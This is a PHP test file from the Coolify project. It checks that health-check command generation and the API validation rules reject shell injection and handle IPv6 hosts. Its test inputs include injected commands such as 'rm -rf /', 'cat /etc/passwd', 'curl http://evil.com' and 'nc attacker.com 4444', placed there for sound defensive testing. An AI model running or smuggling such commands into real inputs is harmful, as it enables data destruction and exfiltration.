mirror of
https://github.com/coollabsio/coolify.git
synced 2026-11-04 18:52:49 +00:00
Store server IPs in one form (no brackets, short lower-case IPv6) and write each address in the form its context needs: - URLs and host:port (Sentinel, database URLs, SFTP backup download, DNS servers, SMTP, webhook base URLs, links, health checks) get brackets through formatHostForUrl(). - Traefik Host() rules use the address without brackets, so IPv6 domains no longer return 404; saved labels are fixed at deploy. Caddy keeps the brackets. - SSH keeps the plain address. - Hetzner gives an IPv6 /64 network; IPv6-only servers now get the server address (prefix::1) instead of the unusable prefix::64. - sslip labels, registry image names with an IPv6 host, the API domain list, allowlist matching and duplicate checks handle IPv6. A migration normalizes stored IPv6 server addresses, repairs Hetzner servers saved as ::64 that are not reachable, and adds brackets to saved Sentinel URLs.
391 lines
14 KiB
PHP
391 lines
14 KiB
PHP
<?php
|
|
|
|
use App\Jobs\ApplicationDeploymentJob;
|
|
use App\Livewire\Project\Shared\HealthChecks;
|
|
use App\Models\Application;
|
|
use App\Models\ApplicationDeploymentQueue;
|
|
use App\Models\ApplicationSetting;
|
|
use Illuminate\Support\Facades\Validator;
|
|
use Tests\TestCase;
|
|
|
|
uses(TestCase::class);
|
|
|
|
beforeEach(function () {
|
|
Mockery::close();
|
|
});
|
|
|
|
afterEach(function () {
|
|
Mockery::close();
|
|
});
|
|
|
|
it('sanitizes health_check_host to prevent command injection', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_host' => 'localhost; id > /tmp/pwned #',
|
|
]);
|
|
|
|
// Should fall back to 'localhost' because input contains shell metacharacters
|
|
expect($result)->not->toContain('; id')
|
|
->and($result)->not->toContain('/tmp/pwned')
|
|
->and($result)->toContain('localhost');
|
|
});
|
|
|
|
it('sanitizes health_check_method to prevent command injection', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_method' => 'GET; curl http://evil.com #',
|
|
]);
|
|
|
|
expect($result)->not->toContain('evil.com')
|
|
->and($result)->not->toContain('; curl');
|
|
});
|
|
|
|
it('sanitizes health_check_path to prevent command injection', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_path' => '/health; rm -rf / #',
|
|
]);
|
|
|
|
expect($result)->not->toContain('rm -rf')
|
|
->and($result)->not->toContain('; rm');
|
|
});
|
|
|
|
it('sanitizes health_check_scheme to prevent command injection', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_scheme' => 'http; cat /etc/passwd #',
|
|
]);
|
|
|
|
expect($result)->not->toContain('/etc/passwd')
|
|
->and($result)->not->toContain('; cat');
|
|
});
|
|
|
|
it('casts health_check_port to integer to prevent injection', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_port' => '8080; whoami',
|
|
]);
|
|
|
|
// (int) cast on non-numeric after digits yields 8080
|
|
expect($result)->not->toContain('whoami')
|
|
->and($result)->toContain('8080');
|
|
});
|
|
|
|
it('generates valid healthcheck command with safe inputs', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_method' => 'GET',
|
|
'health_check_scheme' => 'http',
|
|
'health_check_host' => 'localhost',
|
|
'health_check_port' => '8080',
|
|
'health_check_path' => '/health',
|
|
]);
|
|
|
|
expect($result)->toContain('curl -s -X')
|
|
->and($result)->toContain('http://localhost:8080/health')
|
|
->and($result)->toContain('wget -q -O-');
|
|
});
|
|
|
|
it('uses escapeshellarg on the constructed URL', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_host' => 'my-app.local',
|
|
'health_check_path' => '/api/health',
|
|
]);
|
|
|
|
// escapeshellarg wraps in single quotes
|
|
expect($result)->toContain("'http://my-app.local:80/api/health'");
|
|
});
|
|
|
|
it('builds the healthcheck URL with brackets for an IPv6 host', function (string $host, string $expectedUrl) {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_host' => $host,
|
|
'health_check_port' => '8080',
|
|
'health_check_path' => '/health',
|
|
]);
|
|
|
|
expect($result)->toContain("'{$expectedUrl}'")
|
|
->and($result)->not->toContain('localhost');
|
|
})->with([
|
|
'loopback' => ['::1', 'http://[::1]:8080/health'],
|
|
'bracketed loopback' => ['[::1]', 'http://[::1]:8080/health'],
|
|
'global address' => ['2A01:4F8:0::1', 'http://[2a01:4f8::1]:8080/health'],
|
|
]);
|
|
|
|
it('falls back to localhost for an invalid IPv6-like healthcheck host', function (string $host) {
|
|
$result = callGenerateHealthcheckCommands(['health_check_host' => $host]);
|
|
|
|
expect($result)->toContain("'http://localhost:80/'");
|
|
})->with([
|
|
'too many colons' => [':::1'],
|
|
'shell injection in brackets' => ['[::1];id'],
|
|
'unclosed bracket' => ['[::1'],
|
|
]);
|
|
|
|
it('keeps IPv4 and hostname healthcheck hosts unchanged', function (string $host) {
|
|
$result = callGenerateHealthcheckCommands(['health_check_host' => $host, 'health_check_port' => '3000']);
|
|
|
|
expect($result)->toContain("'http://{$host}:3000/'");
|
|
})->with(['localhost', '127.0.0.1', 'my-app.local']);
|
|
|
|
it('validates the health check host in the health checks form', function (string $host, bool $passes) {
|
|
$rules = (new ReflectionMethod(HealthChecks::class, 'rules'))->invoke(new HealthChecks);
|
|
|
|
$validator = Validator::make(['healthCheckHost' => $host], ['healthCheckHost' => $rules['healthCheckHost']]);
|
|
|
|
expect($validator->passes())->toBe($passes);
|
|
})->with([
|
|
'localhost' => ['localhost', true],
|
|
'hostname' => ['my-app.local', true],
|
|
'IPv4' => ['127.0.0.1', true],
|
|
'IPv6 loopback' => ['::1', true],
|
|
'bracketed IPv6 loopback' => ['[::1]', true],
|
|
'IPv6 address' => ['2a01:4f8::1', true],
|
|
'invalid IPv6' => [':::1', false],
|
|
'unclosed bracket' => ['[::1', false],
|
|
'shell metacharacters' => ['localhost; id #', false],
|
|
'IPv6 with shell metacharacters' => ['[::1];id', false],
|
|
]);
|
|
|
|
it('validates health_check_host rejects shell metacharacters via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
['health_check_host' => 'localhost; id #'],
|
|
['health_check_host' => $rules['health_check_host']]
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('validates health_check_method rejects invalid methods via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
['health_check_method' => 'GET; curl evil.com'],
|
|
['health_check_method' => $rules['health_check_method']]
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('validates health_check_scheme rejects invalid schemes via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
['health_check_scheme' => 'http; whoami'],
|
|
['health_check_scheme' => $rules['health_check_scheme']]
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('validates health_check_path rejects shell metacharacters via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
['health_check_path' => '/health; rm -rf /'],
|
|
['health_check_path' => $rules['health_check_path']]
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('validates health_check_port rejects non-numeric values via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
['health_check_port' => '8080; whoami'],
|
|
['health_check_port' => $rules['health_check_port']]
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('allows valid health check values via API rules', function () {
|
|
$rules = sharedDataApplications();
|
|
|
|
$validator = Validator::make(
|
|
[
|
|
'health_check_host' => 'my-app.localhost',
|
|
'health_check_method' => 'GET',
|
|
'health_check_scheme' => 'https',
|
|
'health_check_path' => '/api/v1/health',
|
|
'health_check_port' => 8080,
|
|
],
|
|
[
|
|
'health_check_host' => $rules['health_check_host'],
|
|
'health_check_method' => $rules['health_check_method'],
|
|
'health_check_scheme' => $rules['health_check_scheme'],
|
|
'health_check_path' => $rules['health_check_path'],
|
|
'health_check_port' => $rules['health_check_port'],
|
|
]
|
|
);
|
|
|
|
expect($validator->fails())->toBeFalse();
|
|
});
|
|
|
|
it('generates CMD healthcheck command directly', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => 'pg_isready -U postgres',
|
|
]);
|
|
|
|
expect($result)->toBe('pg_isready -U postgres');
|
|
});
|
|
|
|
it('strips newlines from CMD healthcheck command', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => "redis-cli\nping",
|
|
]);
|
|
|
|
expect($result)->not->toContain("\n")
|
|
->and($result)->toBe('redis-cli ping');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD type has empty command', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => '',
|
|
]);
|
|
|
|
// Should fall through to HTTP path
|
|
expect($result)->toContain('curl -s -X');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => 'curl localhost; rm -rf /',
|
|
]);
|
|
|
|
// Semicolons are blocked by runtime regex — falls back to HTTP healthcheck
|
|
expect($result)->toContain('curl -s -X')
|
|
->and($result)->not->toContain('rm -rf');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => 'echo test | nc attacker.com 4444',
|
|
]);
|
|
|
|
expect($result)->toContain('curl -s -X')
|
|
->and($result)->not->toContain('nc attacker.com');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD command contains subshell', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => 'curl $(cat /etc/passwd)',
|
|
]);
|
|
|
|
expect($result)->toContain('curl -s -X')
|
|
->and($result)->not->toContain('/etc/passwd');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => str_repeat('a', 1001),
|
|
]);
|
|
|
|
// Exceeds max length — falls back to HTTP healthcheck
|
|
expect($result)->toContain('curl -s -X');
|
|
});
|
|
|
|
it('falls back to HTTP healthcheck when CMD command contains backticks', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_type' => 'cmd',
|
|
'health_check_command' => 'curl `cat /etc/passwd`',
|
|
]);
|
|
|
|
expect($result)->toContain('curl -s -X')
|
|
->and($result)->not->toContain('/etc/passwd');
|
|
});
|
|
|
|
it('uses sanitized method in full_healthcheck_url display', function () {
|
|
$result = callGenerateHealthcheckCommands([
|
|
'health_check_method' => 'INVALID;evil',
|
|
'health_check_host' => 'localhost',
|
|
]);
|
|
|
|
// Method should be sanitized to 'GET' (default) in both command and display
|
|
expect($result)->toContain("'GET'")
|
|
->and($result)->not->toContain('evil');
|
|
});
|
|
|
|
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
|
|
$rules = [
|
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
|
];
|
|
|
|
$validator = Validator::make(
|
|
['healthCheckCommand' => str_repeat('a', 1001)],
|
|
$rules
|
|
);
|
|
|
|
expect($validator->fails())->toBeTrue();
|
|
});
|
|
|
|
it('validates healthCheckCommand accepts strings under 1000 characters', function () {
|
|
$rules = [
|
|
'healthCheckCommand' => 'nullable|string|max:1000',
|
|
];
|
|
|
|
$validator = Validator::make(
|
|
['healthCheckCommand' => 'pg_isready -U postgres'],
|
|
$rules
|
|
);
|
|
|
|
expect($validator->fails())->toBeFalse();
|
|
});
|
|
|
|
/**
|
|
* Helper: Invokes the private generate_healthcheck_commands() method via reflection.
|
|
*/
|
|
function callGenerateHealthcheckCommands(array $overrides = []): string
|
|
{
|
|
$defaults = [
|
|
'health_check_type' => 'http',
|
|
'health_check_command' => null,
|
|
'health_check_method' => 'GET',
|
|
'health_check_scheme' => 'http',
|
|
'health_check_host' => 'localhost',
|
|
'health_check_port' => null,
|
|
'health_check_path' => '/',
|
|
'ports_exposes' => '80',
|
|
];
|
|
|
|
$values = array_merge($defaults, $overrides);
|
|
|
|
$application = Mockery::mock(Application::class)->makePartial();
|
|
$application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']);
|
|
$application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']);
|
|
$application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes']));
|
|
$application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks');
|
|
|
|
$settings = Mockery::mock(ApplicationSetting::class)->makePartial();
|
|
$settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false);
|
|
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
|
|
|
|
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
|
|
$deploymentQueue->shouldReceive('addLogEntry')->andReturnNull();
|
|
|
|
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
|
|
|
|
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
|
|
|
$appProp = $reflection->getProperty('application');
|
|
$appProp->setAccessible(true);
|
|
$appProp->setValue($job, $application);
|
|
|
|
$queueProp = $reflection->getProperty('application_deployment_queue');
|
|
$queueProp->setAccessible(true);
|
|
$queueProp->setValue($job, $deploymentQueue);
|
|
|
|
$method = $reflection->getMethod('generate_healthcheck_commands');
|
|
$method->setAccessible(true);
|
|
|
|
return $method->invoke($job);
|
|
}
|